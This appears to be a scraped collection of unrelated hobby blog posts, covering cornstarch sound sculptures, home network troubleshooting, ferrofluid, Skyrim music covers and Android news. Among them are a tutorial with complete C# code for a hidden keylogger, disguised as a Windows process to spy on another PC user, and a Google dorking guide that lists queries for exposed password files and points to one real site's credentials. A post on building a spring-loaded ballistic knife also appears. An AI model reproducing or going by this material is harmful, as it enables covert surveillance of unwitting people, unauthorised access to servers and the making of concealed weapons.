Making Sound Sculptures with a Speaker and Cornstarch

Making Sound Sculptures with a Speaker and Cornstarch

Posted below is an interesting video on the effects of low frequency square waveforms on cornstarch. To make, simply mix cornstarch and water, then place on a large speaker hooked up to an amplifier and a signal generator (generating around 20-30 hertz). An old stereo works great, as long as it has an aux-in. There is lots of free signal generating software at arms length, like this one. I found adding a little olive oil into the cornstarch mix makes it easier to handle, and contributes to the general quality of the fluid. Cornstarch is known as a non-newtonian fluid, more information can be found here.

For a more through video demonstration, check out this tutorial video.

The Ultimate Guide to Diagnosing & Fixing Internet Connection Issues, Part II

The Ultimate Guide to Diagnosing & Fixing Internet Connection Issues, Part II

Hello everyone, and welcome to Part II  to the Ultimate Guide to Diagnosing & Fixing Internet Connection Issues. In this tutorial, we will discuss more advanced methods that I took in order to fix our home network. I have also attached a link to download the free eBook, so feel free to download it so you can refer to this manual when you are experiencing connection issues and the internet is down. 

I would also like to note that the manual has been loaded onto a free server. It will remain on the server until people stop downloading the document. In saying this, after each download the link will remain active for an extra 60 days. When the link expires, feel free to inbox me your email address. 

DNS Flush

See Part I to see where we left off.

So I have carried out most of the basic tasks. It seems like the issue has something to do with the DNS server, but we cannot be sure about that yet.  To see whether the connection problem had something to do with the DNS server I decided to flush the DNS cache with CMD.  Here is how you flush the DNS:

Start Menu -> search CMD then hit enter -> In the CMD type ipconfig /flushdns. It should look something like this: 

I thought this might fix the issue. However flushing the DNS server didn't actually fix our internet connection problem. The next step was to look into changing our default DNS address. It might be that our internet provider's DNS is having problems. I then went  to NortonDNS and changed our configuration so we are using their DNS server instead the default one. The big benefit to using NortonDNS is it is usually much faster and it is secure. 

Changing Our Default DNS

Navigate to the Network & Sharing Centre. Start -> Control Panel -> Network & Internet -> Network & Sharing Centre. I then want  you to click on connections, then properties so that the Wireless Network Connection Status Page is up. It should look like this: 

Click on Internet Protocol Version 4 (TCP/IPv4), then click properties again. You should now see this page:

Now click on "Use the following DNS server addresses". Enter the following numbers in:

  • Preferred DNS server: 198.153.192.40
  • Alternate DNS server: 198.153.194.40

Then click OK. This has now changed the DNS address to the Norton DNS server. It is more secure, and you may even see an increase in your internet speed. 

However, when I changed my DNS server my internet was still down. I came to the conclusion that it is either (1) a hardware problem or (2) an internal problem with our service provider or (3) it has something to do with our router. 

Checking Out the Router

This one is more behind the scenes. It doesn't involve the physical side of the router, but actually logging into it. You will find many complicated settings in here, so it is best to not fiddle around with the settings unless you know what you're doing. 

The first step is to open your browser and find out what your router IP address is. It will either be 192.168.0.1 or 192.168.1.1. This must be entered into the browser URL bar, it doesn't matter that you have no connection—you can still access it.  This is an example of what the page will look like:

You must enter the username, password and you must validate the code below it. Don't know what your username or password is? Didn't set one? You have three options here: find your router's manual and it will tell you what the default username and password is OR contact your IP.  It also isn't common for the default username to be admin and password admin again, so give that a shot.  

OK, sweet. So now we are in. Here is an example shot again:

I then clicked on Maintenance which opened this page:

I then clicked on "Reboot", which took a few minutes to re-configure the router... then guess what? Walla! The internet is back on. I have no clue what was causing the internet to go down, but whatever it was, this one little button fixed it all.

Google Dorking: AmIDoinItRite?

Google Dorking: AmIDoinItRite?

What is Google Dorking?

Well, simply put, "Google Dorking" is just an efficient way to utilise keywords in order to perform very specific searches on a given subject. In this case, one would look for websites/servers that are vulnerable to attacks or are configured improperly by using specific search criteria that should yeild results, should it find matches to known mistakes/errors in a website or webserver.
Let's face it, some admins leave security settings as their default without much thought, when say they set up a MYSQL database, and that's where hackers find an opening.

The keywords used are varied and many, and when used properly can bring you straight to a website riddled with holes. A recent article at Gizmodo details how hackers found an unprotected FTP server and stole 43k social security numbers of students and faculty.

Step 1 Your First Dorkage

Right, what's the point of theory, when practice just kicks so much ass? Let's fire up guglz in a new tab/window and type this in:

admin account info" filetype:log

The very first result that I got was this:

As you can see, we found a server log. Neat.

Let's 1-up ourselves...

Type in:

"# -FrontPage-" ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-" inurl:service.pwd

The first website I got was:

And the address is: http://www.jacobswartz.com/_vti_pvt/service.pwd
takes you to a username and password file.
Now if you just delete the service.pwd bit, and leave - http://www.jacobswartz.com/_vti_pvt/

It will take you here:

A whole directory. Yay.

Another example?

"index of/" "ws_ftp.ini" "parent directory"

Third result from the top, takes us to the parent dir of a Virginia University webpage.

So, even though what we did right now was searching for stuff, we have accessed some very low key areas of a few websites, but I am assuming the authors of those pages intended them not to be public.

To be perfectly honest, you can spend hours running different queries, and come up with f*ck-all, but you can also get lucky. If you know specifically what you set out to do, build your queries on that thought. Then find something that looks like it's prone to an sql injection (see pic).

...or another type of exploit and pound away.

Now that (hopefully) I have gotten you interested in this, why don't you check out the links below for a HUGE listing of dorking queries, which you can either use as-is or improve upon or adapt to your needs! Go forth and wreak havoc!

Nah just kidding, as with all hacks/exploits, don't do anything to anyone that you don't want done to you.

But... I encourage you to learn while utilising this technique. After all, smart people learn from the mistakes of others.

Should you find something missing from the article, or if you wish to express your critique, please leave me a comment at the bottom of the page.

Cheerio!

How to Make Ferrofluid: The Liquid of the Future

How to Make Ferrofluid: The Liquid of the Future

What Is Ferrofluid?

Ferrofluid is a black, solvent-based liquid, that, in the presence of a magnetic field, becomes strongly magnetized. The fluid is made up of nanomagnetic particles coated with an "anti-stick" or surfactant compound, suspended in a "carrier", commonly an organic solvent. For mechanical applications, it is used in hard drives and speakers as a lubricant. However, it also has been implemented in artwork, as seen in the video below.

For more information about ferrofluid, see here

You Will Need

Materials

  • You'll need some laser printer toner (can be found at most office supply stores)
  • Motor oil or kerosene (found at most hardware stores)
  • Oleic acid (found online here)
  • Household ammonia

Note: The Oleic acid is not exactly necessary, olive oil or citric acid can be substituted for a less than desired result. If you're looking for ferrofluid like the liquid used in the video above, use Oleic acid.

Tools

  1. A stir stick or spoon
  2. Glass (Pyrex) container
  3. A heat source (stove)
  4. Measuring equipment

The Procedure

  1. Add 150 ml of ammonia into one of the Pyrex containers, then add about three tablespoons of toner.
  2. Heat the mixture to near boiling, then add the oleic acid (or substitute). This will produce ammonia gas, so do this in a well-ventilated area! The oleic acid reacts with ammonia to form ammonium oleate. Heat causes the oleate ion to enter the mixture, while the ammonia escapes as a gas. When the oleate ion binds to the toner it is reconverted to oleic acid.
  3. Now, stir in 100ml of kerosene (or motor oil) and add it to the beaker.
  4. Let cool, then pour off any water left on top of the mixture.

Usage

To use, bring a magnetic field (magnet) near the liquid, and observe the amazing liquid structures that form in the presence of the field. Don't let the magnet touch the ferrofluid, it will cause a very messy, toner-covered magnet to clean.

Tips

  • Try placing a coil of copper wire into the liquid, then attaching it to an amplifier. Use a signal generating program to pulse the coil, and observe the results!
  • Store in a closed container.
  • Don't spill the ferrofluid! Its very very messy and colors anything it touches black.

Warnings

  • Ammonia, liquid or gas is very dangerous, don't ingest or inhale it.
  • Kerosene and motor oil are also poisonous, be careful.
  • I am not responsible for any damage, harm or ruined clothing.
  • Stoves are hot! Don't burn yourself

Skyrim Covers That Will Make Your Ears Climax

Skyrim Covers That Will Make Your Ears Climax

Without Much Delay: The Below Videos Are Awesome! 'Nuff Said.

When a game like Skyrim comes out, people camp out in front of game stores (those who use Steam camp out in front of their PCs). Shortly after it releases, modders and hackers add various enhancements and improvements to the game to make it even more amazing than it was at vanilla stage. Seeing as the game-play side of it is being done-redone-rehashed-and-revamped, surely a game of such epic proportions deserves a great cover for one (or a few) of its songs? Well yes, yes it friggin' does. And below I have embedded not one, not two, but five (that's the highest number I can count to before losing interest) Skyrim covers!

So, fellow TES lovers, grab a mug of ale, or mead, or mammoth cheese, and enjoy these amazing pieces of music. 

"..The first video... Look at his facial expression in (0:05) - It's like - "Oh yeah m$£%"£F&$£er, it's ON"!"

"..I can has her phone number plx?"

How to Create a Simple, Hidden Console Keylogger in C# Sharp

How to Create a Simple, Hidden Console Keylogger in C# Sharp

Today I will show you how to create  a simple keylogger in Visual C# Sharp, which will start up hidden from view, and record anything the user types on the keybord, then save it into a text file. Great if you share a PC and want to track what someone else is writing.

You Will Need

  • Visual C# 2010 Express

Step 1 Create the Project

This is semi-important, usually you don't put much thought behind this, but I recommend naming this project something like "Windows Local host Process" or whatever, so that IF the user you are tracking suddenly decides to look up windows processes, your app will not be so easy to distinguish from something Windows would already have running in the background.

Why? Well, renaming the .exe file is not enough, the name you give your project will appear in the task manager, so assuming you are not a very technical user, if you see a process called ''cmd.exe | ConsoleApplication5" then alarm bells should not be ringing. However, if you see "sysWin86 | Windows Local Host Process" you won't know right away that it is not a legitimate process.

So create a Console Application project, name it appropriately and in the "Using" clause, include the following, if it's not already there:

using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;

Step 2 Declaration Clause and Referencing

Just below "Class YourProject {", add the following:

private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;

In the "Main" function ("public static Main") add:

        var handle = GetConsoleWindow();

        // Hide
        ShowWindow(handle, SW_HIDE);

        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);

Finally, go into Project >> Add References.

In the .NET tab, choose System.Windows.Forms and add it to your project.

Step 3 Functions for Key Capturing

Below the Main clause, add these functions:

    private delegate IntPtr LowLevelKeyboardProc(
        int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallback(
        int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);
            Console.WriteLine((Keys)vkCode);
            StreamWriter sw = new StreamWriter(Application.StartupPath+ @"\log.txt",true);
            sw.Write((Keys)vkCode);
            sw.Close();
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

Step 4 DLL Imports

After adding the key capture functions, add these:

//These Dll's will handle the hooks. Yaaar mateys!

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook,
        LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
        IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

// The two dll imports below will handle the window hiding.

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    const int SW_HIDE = 0;

Step 5 Compile and Try it Out!

This is the fun step. Once you have added all the code, just run the compiler and try out the .exe!  

As the window is hidden, but still records every keystroke, you will now log all the keystrokes ever pressed on that PC.

Further Improvements

  • Log file management could be improved by inserting line breaks at certain intervals. Something I did not bother with for this particular exercise.
  • It is possible to create a global mouse hook which will tell you what applications your mouse interacted with, where the cursor was and so forth. Google is your friend on this one.
  • Run @ Startup script.

How to Make a Ballistic Knife from a Candy Dispenser

How to Make a Ballistic Knife from a Candy Dispenser

For a very long time I have wanted my own ballistic knife. In theory they are very simple; a blade pressed and locked above a compressed spring that, when released, throws the blade like a spear into the desired target.

Interest in ballistic knives has grown greatly in the last few years with the popularity of video games such as Call of Duty. Originally a weapon invented for use by the Russian Spetsnaz, a name for special forces units, the ballistic knife is meant to be a weapon that takes the enemy off guard, never expecting that a knife is also a spring loaded projectile.

In the following video I show how to make a small yet powerful ballistic knife out of a common candy dispenser.

The knives shown in the above video are capable of embedding the blade into cardboard or wooden targets at approximately 15 feet.

While this is a very entertaining device when directed downrange at a cardboard shooting gallery, ballistic knives are inherently dangerous and should be treated as such. This knife will penetrate skin, and almost certainly cause severe damage to the eyes. Safety glasses are absolutely required when handling. Though I provide information on how this knife is made for entertainment, I do not recommend that anyone make it themselves. There are no safety features, meaning the knife will very easily fire accidentally if the button is pressed, or if the blade is knocked off of the lip it rests on. There may also be some legal concerns about owning ballistic knives depending on what part of the world you are in. In the USA they are not prohibited to own on a federal level, but there may be stricter regulation in various state laws. It is likely to be illegal to carry any ballistic knife in public places, and even if it is not illegal, it is a terrible idea.

Should you wish to make a safer alternative to this knife, the blade could easily be exchanged for any number of less pointy things. A ballistic spoon might make it easier to acquire that pudding you left sitting on the other side of the room.

Parts & Tools for this Project

  • Four PEZ Dispensers
  • One Pen
  • 3" x 1/2" Blade (Or Spoon)
  • Hot Glue
  • Super Glue
  • Scissors
  • Pocket Torch or Lighter
  • 3/16" Drill Bit & Drill

HTC Rezound Ice Cream Sandwich build leaks -- proceed with caution

Android Central

If you have been feeling a bit left out with your HTC Rezound and have been anxiously awaiting your invitation to the Ice Cream Sandwich party the time has come. Over at Rootzwiki they seem to have landed their hands on an ICS build for you to download and play around wtih. This is ICS 4.0.1 with Sense 3.5 overtop of it, and not all of it is really usable -- there are watermarks on various screens, screen shots, calls and more cause rebooting of the device, but hey it's new and shiny. So if you got some time to kill, and are comfortable with being able to roll your device back, head over and check it out!

P.S Apparently there is another newer and better build that should be coming "soon" so be sure to keep your eye out for that one as well. In the mean time be sure to let us know what you think in the forums!

Android App Review: Cell Limit 0

Cell Limit 0   Cell Limit 0

Hey folks. In keeping with New Year’s resolutions suggested by the staff at Android Central I thought it fitting to write a review of an app I have been using for about a month, ever since the Holiday rush started and roads were littered with shoppers talking and texting. Holiday traffic and cell phone use are two topics that are bound to clash and they have. I am a father of two great kids and husband to a great wife and I don’t want their lives compromised by me texting or emailing in the car.

This is where this simple but great app comes into play.  Sponsored by one of the local health networks in the Lehigh Valley region of Pennsylvania, it is called Cell Limit 0. Why the name? Simply put, a text or email is not worth someone’s life.  The app is very simplistic in its use and powerful in its effectiveness. All it does is simply create an automated response to people who text you. In the upper right hand corner, you can see the toggle button is red as it is set to off.  When you activate this toggle, you can set it to whatever message you want to respond with as seen in second image by typing what you want (I use the default message shown) then hit “Set Message”.  Notice how the toggle is now green in the upper right of your screen? The auto responder is now set. Click it again to turn it off.

Even better, it has the website celllimit0.com, which takes you to their website. Fill out the form and they will mail you a magnet of a Stop Sign to promote no texting and driving.  This is not a game changing app, but for me I find myself using the phone a lot less than before.  The app does have some FC issues that require you to exit and start it back up, but I find that running it on Ice Cream Sandwich is less problematic then running it on CyanogenMod or stock Gingerbread. Download link is after the break, check it out in the market as it’s FREE!

Android developers making progress busting open the Nook Tablet

Nook Tablet

It's not easy, and it's surely not pretty, but a handful of developers are making headway into breaking the Nook Tablet out of it's B&N jail and making it a full fledged Android tablet.  On paper, it's one of the best Android tablets for the price, but Barnes and Noble have locked the Nook Tablet up pretty tightly.  Because of the penchant for Android users to want instant results, the whole thing has turned into a drama-fueled mess of epic proportions, but in spite of all that we've seen a method discovered to bypass the bootloader security, a custom build of ClockworkMod recovery, and a booting port of CyanogenMod 9.

It's not ready for prime-time, and the discussion is pretty technical.  It involves things like bootstrap loaders hijacking the standard method to boot the darn thing.  The good news is that the fellows working on it seem to have all their ducks in a row, and with a little luck and a lot of patience we just may see this one unlocked and given the same treatment it's older brother the Nook Color received.  Visit the source links, and be sure to thank nemith and company for all their hard work.

Path for Android updates to fix ICS-Twitter authentication

Path for Android

I've been desperately trying to convert from Foursquare to Path for bothering most of my social networks at once, but a pretty critical bug was keeping that from happening. But Path's just released an update that fixes Twitter authentication in Ice Cream Sandwich, as well as keeping push notifications from being delivered if, in fact, that's the way you want it.

For the uninitiated, Path is sort of mix of Foursquare and a much smaller Facebook. The idea is to have a tight-knit group of friends with which you share. Of course, adding the ability to share via Twitter, Facebook and, yes, Foursquare, opens it up to much more. The app itself is stunning, though it could use a little refresh for 720p displays.

If you haven't checked it out yet, we've got download links after the break.
